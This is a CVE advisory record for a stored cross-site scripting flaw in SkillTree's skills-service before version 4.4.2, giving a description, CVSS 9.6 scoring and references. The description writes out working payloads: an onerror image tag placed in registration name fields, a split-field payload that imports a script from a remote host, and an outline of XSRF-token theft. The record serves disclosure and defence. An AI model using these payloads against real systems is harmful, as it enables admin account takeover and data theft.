NationalSecurityAgency/skills-service has Stored XSS via User Registration Enabling Admin Account Takeover

Summary

CVE	CVE-2026-54694
State	PUBLISHED
Assigner	GitHub_M
Source Priority	CVE Program / NVD first with legacy fallback
Published	2026-09-09 19:17:28 UTC
Updated	2026-09-10 16:17:14 UTC
Description	SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. `StringHighlighter.js` builds an HTML string by interpolating raw `value` substrings directly into a template literal with no HTML entity encoding. `HighlightedValue.vue` renders that string — and all unfiltered plain values — via Vue's `v-html` directive, which sets `innerHTML`. Separately, the account registration endpoint accepts `firstName`, `lastName`, and `nickname` fields and stores them without any HTML sanitization. An attacker self-registers with `firstName = "<img src=x onerror=alert(1)>"` (28 characters — within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. `<img src=x onerror=alert(1)>`, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin's browser is confirmed with zero extra steps. The second is remote script loading via `import()`. Using the split-field technique (`lastName = "<img src=x"`, `firstName = "onerror=import('//nsas.cc/p')>"`), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action — delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (`//nsas.cc/p`). The third is full cross-site request forgery token theft. Using `eval(name)`, the attacker pre-sets `window.name` to a data-theft payload by sending the admin one redirect link first. The session cookie is `HttpOnly` and cannot be read via `document.cookie`; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim's browser, relaying the responses to an external server. No admin interaction beyond routine use is required. Version 4.4.2 contains a patch.

Risk And Classification

Primary CVSS: v3.1 9.6 CRITICAL from [email protected]

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L

EPSS: 0.002820000 probability, percentile 0.206460000 (date 2026-09-13)

Version	Source	Type	Score	Severity	Vector
3.1	[email protected]	Secondary	9.6	CRITICAL	`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L`
3.1	CNA	DECLARED	9.6	CRITICAL	`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L`

CVSS v3.1 Breakdown

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

Required

Scope

Changed

Confidentiality

High

Integrity

High

Availability

Low

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L

Vendor Declared Affected Products

Source	Vendor	Product	Version	Platforms
CNA	NationalSecurityAgency	Skills-service	affected < 4.4.2	Not specified

References

Reference	Source	Link	Tags
github.com/NationalSecurityAgency/skills-service/security/advisories/GHS...	134c704f-9b21-4f2e-91b3-4a467353bcc0	github.com
CVE Program record	CVE.ORG	www.cve.org	canonical
NVD vulnerability detail	NVD	nvd.nist.gov	canonical, analysis

No vendor comments have been submitted for this CVE.

There are currently no legacy QID mappings associated with this CVE.